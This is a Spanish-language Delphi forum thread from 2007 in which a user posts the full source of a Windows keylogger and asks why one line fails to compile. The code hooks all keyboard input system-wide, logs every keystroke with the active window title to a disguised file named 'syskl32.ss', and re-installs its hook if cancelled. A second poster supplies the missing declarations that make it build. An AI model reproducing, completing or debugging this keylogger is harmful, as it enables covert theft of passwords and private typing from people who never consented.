PDA

Ver la Versión Completa : Que significa esta linea?


b2k
10-09-2007, 06:13:58
Hola,

Pues, tengo un codigo que quiero implementar en mi aplicacion, y aqui hay esta linea que no entiendo, de echo delphi me la declara como "Undeclared Indentifier"

CallNextHookEx(JHHandle, nCode, wParam, Integer(@EventStrut));

Gracias

Delphius
10-09-2007, 06:27:40
Hola b2k,
El error que te arroja se debe a que al menos de unas variables que estás pasando no ha sido declarada con anterioridad.
De hecho, ya estoy viendo al menos una que te da conflicto:
wParam es el tipo de variable que espera... debes suministrarle una variable alli.

No se de que otra manera ayudarte... pones esa simple linea, y posiblemente hay otros tipos de errores, errores por los tipos pasados. A mi no me queda claro que es EventStrut...

Saludos,

b2k
10-09-2007, 06:41:41
Hola Delphius,

Gracias por responder, aqui te pongo el codigo completo


program Project2;

uses
windows,messages;

var
szCurApp: string;
HookHandle: HHook;
lpMsg: TMsg;

function ExtractFilePath(APath:string):string;
var
LI,LJ:Integer;
begin
if (Length(APath)<>0) and (Pos('\',APath)>0) then
begin
LJ:=0;
for LI:=Length(APath) downto 1 do
if APath[LI]='' then
begin
LJ:=LI;
Break;
end;
Result:=Copy(APath,1,LJ);
end else Result:='';
end;

function CurrentDir:String;
var
Buffer:array[0..260] of Char;
begin
GetModuleFileName(0, Buffer, Sizeof(Buffer));
result:=ExtractFilePath(Buffer);
end;

function JHProc(nCode:integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint; stdcall;
var
szletta,HBuf,ThePath:string;
hFile,BytesWritten:dword;
szCurAppNm:array[0..260] of Char;
Charry:Array[0..1] of Char;
VirtKey,ScanCode:Cardinal;
KeyState:TKeyBoardState;
nametext:Array[0..32] of Char;
begin
if (nCode = HC_ACTION) and (EventStrut.message = WM_KEYDOWN)
then begin
VirtKey:=LOBYTE(EventStrut.paramL);
ScanCode:=HIBYTE(EventStrut.paramL);
ScanCode:=ScanCode shl 16;
ThePath:=WinPath+'syskl32.ss';// syskl32.ss is where it stores the logged Keys

hFile:=CreateFile(pchar(ThePath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
SetFilePointer(hFile, 0, nil, FILE_END);
GetWindowText(GetForegroundWindow, szCurAppNm, sizeof(szCurAppNm));
if szCurAppNm <> szCurApp
then begin
szCurApp:=szCurAppNm;
HBuf:=#13#10+#13#10+'[ '+szCurAppNm+' ]'+#13#10;
WriteFile(hFile, pchar(HBuf)^, length(HBuf), BytesWritten, nil);
end;
GetKeyNameText(ScanCode,nametext,sizeof(nametext));
if VirtKey = VK_CAPITAL then szletta:=#0
else if VirtKey = VK_SHIFT then szletta:=#0
else if VirtKey = VK_SPACE then szletta:=' '
else if lstrlen(nametext) > 1 then szletta:='['+nametext+']'
else
begin
GetKeyboardState(KeyState);
ToAscii(VirtKey,ScanCode, KeyState, Charry, 0);
szletta:=Charry;
end;
if szletta <> '' then WriteFile(hFile, pchar(szletta)^, length(szletta), BytesWritten, nil);
CloseHandle(hFile);
end;
CallNextHookEx(JHHandle, nCode, wParam, Integer(@EventStrut));
Result:=0;
end;

begin
HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0);
while 1=1
do begin
WaitMessage;
GetMessage(lpMsg,0,0,0);
if lpMsg.message = WM_CANCELJOURNAL then HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0);
end;
end.

El codigo en realidad es para un keylogger, pero lo trato de analizar...

Gracias

Delphius
10-09-2007, 07:12:50
b2k entiendo que posiblemente estés un poco apresurado, y confundido... preocupado y hasta estresado por tratar de comprender el código. Pero al parecer no leiste lo que te he dicho:

El error se debe a que no tienes declarado dos variables: ThePath y JHHandle.
La primera debe ser del tipo string y la segunda del tipo HHOOK. Con eso basta para que ande.

No basta con mandarme el código para que lo analice. Lo que importa es que tu sepas analizar el error que te ha dado. Con un F1 teniendo seleccionado la linea de error podrías haberte dado cuenta de que todo se reduce a que no tienes declaradas dichas variables.

Con haberme dicho los tipos ya te hubiera informado si el error se debía a ello. Está bien que me hayas mandado el código para ver cual es el problema, pero primero deberias probar lo que te había comentado.

No lo tomes a mal. Es que preferimos que se tomen el tiempo a comprender el error y leer bien la ayuda antes de venir por aquí.

Por cierto, utiliza las etiquetas DELPHI y no las PHP.

Saludos,
PD: De curioso... ¿para que lo vas a usar:p:D?